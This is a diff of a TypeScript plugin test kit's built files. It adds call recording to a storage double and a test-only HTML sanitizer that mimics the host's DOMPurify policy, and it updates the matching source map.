361
402
  /** What is currently stored, keyed `"<partition>/<key>"` — e.g. `"data/user/me/marks"`. */
362
403
  readonly stored: Record<string, unknown>;
404
+ /**
405
+ * Every call the component made, in order — one entry per call, however many requests the host's
406
+ * client would have split it into. Assert "one `getMany`, not twenty `get`s" against this.
407
+ *
408
+ * @since 0.16.0
409
+ */
410
+ readonly calls: DocCallRecord[];
363
411
  }
364
412
  /**
365
413
  * A {@link DocClient} double: an in-memory store that **validates keys the way the client does**.
@@ -1 +1 @@
1
- {"version":3,"file":"testing.d.ts","sourceRoot":"","sources":["../src/testing.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"testing.d.ts","sourceRoot":"","sources":["../src/testing.ts"],"names":[],"mappings":"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"}
package/dist/testing.js CHANGED
@@ -1,6 +1,6 @@
1
1
  // SPDX-License-Identifier: Apache-2.0
2
2
  // SPDX-FileCopyrightText: 2026 The Mosaicast Authors
3
- import { DISPLAY_BATCH_LIMIT, DOC_KEY_PATTERN, declaredTypeFor } from './index.js';
3
+ import { DISPLAY_BATCH_LIMIT, DOC_KEY_PATTERN, FEED_HTML_POLICY, declaredTypeFor } from './index.js';
4
4
  /**
5
5
  * A canned failure: what the host would have answered instead of a body.
6
6
  *
@@ -78,7 +78,8 @@ function makeMockApi(responses) {
78
78
  get: (path) => resolve('get', path),
79
79
  getOrNull: async (path) => {
80
80
  try {
81
- return await resolve('get', path);
81
+ // `undefined` is the host's 204 — an absent document — and is an answer too.
82
+ return (await resolve('get', path)) ?? null;
82
83
  }
83
84
  catch (e) {
84
85
  // Exactly the host's rule: 404 is an answer, everything else is a failure.
@@ -301,12 +302,15 @@ export function makeMockSchema(rows = {}) {
301
302
  * @since 0.9.0
302
303
  */
303
304
  export function makeMockFeeds(snapshots = {}) {
304
- const stored = { ...snapshots };
305
+ const stored = {};
306
+ for (const [slug, snapshot] of Object.entries(snapshots)) {
307
+ stored[slug] = completeSnapshot(snapshot);
308
+ }
305
309
  const requested = [];
306
310
  const client = {
307
311
  requested,
308
312
  withDisplay(slug, snapshot) {
309
- stored[slug] = snapshot;
313
+ stored[slug] = completeSnapshot(snapshot);
310
314
  return client;
311
315
  },
312
316
  display: (slug) => {
@@ -329,6 +333,127 @@ export function makeMockFeeds(snapshots = {}) {
329
333
  };
330
334
  return client;
331
335
  }
336
+ /** Fills in `descriptionText` the way the host does, unless the fixture pins it. */
337
+ function completeSnapshot(snapshot) {
338
+ return { ...snapshot, descriptionText: snapshot.descriptionText ?? plainText(snapshot.description) };
339
+ }
340
+ /** Show notes as one run of prose: tags gone, entities decoded, whitespace collapsed. */
341
+ function plainText(html) {
342
+ if (!html) {
343
+ return '';
344
+ }
345
+ const text = typeof DOMParser === 'undefined'
346
+ ? html.replace(/<[^>]*>/g, ' ')
347
+ : (new DOMParser().parseFromString(html, 'text/html').body.textContent ?? '');
348
+ return text.replace(/\s+/g, ' ').trim();
349
+ }
350
+ /**
351
+ * Elements that, when removed, take their content with them — everything else removed is unwrapped.
352
+ *
353
+ * The host runs DOMPurify, and this set is **what the host measurably does**, not a guess at what should be
354
+ * dropped: DOMPurify's `FORBID_CONTENTS` defaults, except `noscript`, whose content DOMPurify 3.4 keeps in
355
+ * practice. Measured element by element against core's `sanitizeFeedHtml` in jsdom — where plugin tests run —
356
+ * because a double that is stricter than the host is as wrong as one that is looser: a plugin test would pass
357
+ * on output production does not produce. (`object`, `select`, `option` and `textarea` used to be listed here;
358
+ * the host keeps their text.) Core's parity test compares the two on sample markup.
359
+ */
360
+ const CONTENT_DROPPED = new Set([
361
+ 'annotation-xml', 'audio', 'colgroup', 'desc', 'foreignobject', 'head', 'iframe', 'math', 'mi', 'mn', 'mo',
362
+ 'ms', 'mtext', 'noembed', 'noframes', 'plaintext', 'script', 'selectedcontent', 'style', 'svg', 'template',
363
+ 'thead', 'title', 'video', 'xmp',
364
+ ]);
365
+ /**
366
+ * The test kit's {@link PluginContext.sanitize}: {@link FEED_HTML_POLICY}, applied by walking the parsed
367
+ * tree — what {@link makeMockCtx} puts on `ctx.sanitize`.
368
+ *
369
+ * **A test double, not a security boundary.** The host runs DOMPurify with this policy; this reimplements
370
+ * enough of it for a component test to see the same removals — `<style>`, `style=`, `<script>`, event
371
+ * handlers, `javascript:` links, `srcset` — and the same `target`/`rel` on external links. Never ship it:
372
+ * call `ctx.sanitize` in plugin code, and let the host decide.
373
+ *
374
+ * Needs a DOM (`// @vitest-environment jsdom`, or `happy-dom`), as mounting your component does anyway.
375
+ *
376
+ * ```ts
377
+ * const ctx = makeMockCtx();
378
+ * mount(ctx, '<p style="position:fixed">x</p><style>:host{}</style>');
379
+ * expect(root.innerHTML).not.toContain('style');
380
+ * ```
381
+ *
382
+ * @param html untrusted HTML; `null`, `undefined` and `''` give `''`
383
+ * @returns the HTML with only what the host's policy allows
384
+ * @since 0.16.0
385
+ */
386
+ export function sanitizeLikeHost(html) {
387
+ if (!html) {
388
+ return '';
389
+ }
390
+ if (typeof DOMParser === 'undefined') {
391
+ throw new Error('sanitizeLikeHost needs a DOM — run this test with `// @vitest-environment jsdom`');
392
+ }
393
+ const body = new DOMParser().parseFromString(`<!doctype html><body>${html}`, 'text/html').body;
394
+ cleanChildren(body);
395
+ return body.innerHTML;
396
+ }
397
+ function cleanChildren(parent) {
398
+ for (const node of Array.from(parent.childNodes)) {
399
+ if (node.nodeType === Node.TEXT_NODE) {
400
+ continue;
401
+ }
402
+ if (node.nodeType !== Node.ELEMENT_NODE) {
403
+ // Comments, processing instructions, CDATA: nothing a reader sees, and a classic smuggling spot.
404
+ node.remove();
405
+ continue;
406
+ }
407
+ const el = node;
408
+ const name = el.localName;
409
+ const kept = FEED_HTML_POLICY.allowedTags.includes(name) && !FEED_HTML_POLICY.forbidTags.includes(name);
410
+ // Content goes with an element only when the element itself goes, as in DOMPurify — an allowed `thead`
411
+ // is on the list and keeps everything in it.
412
+ if (!kept && CONTENT_DROPPED.has(name)) {
413
+ el.remove();
414
+ continue;
415
+ }
416
+ cleanChildren(el);
417
+ if (!kept) {
418
+ el.replaceWith(...Array.from(el.childNodes));
419
+ continue;
420
+ }
421
+ for (const attr of Array.from(el.attributes)) {
422
+ const attrName = attr.name.toLowerCase();
423
+ // The host trims every attribute value and writes the trimmed one back.
424
+ const value = attr.value.trim();
425
+ const allowed = FEED_HTML_POLICY.allowedAttrs.includes(attrName) && !FEED_HTML_POLICY.forbidAttrs.includes(attrName);
426
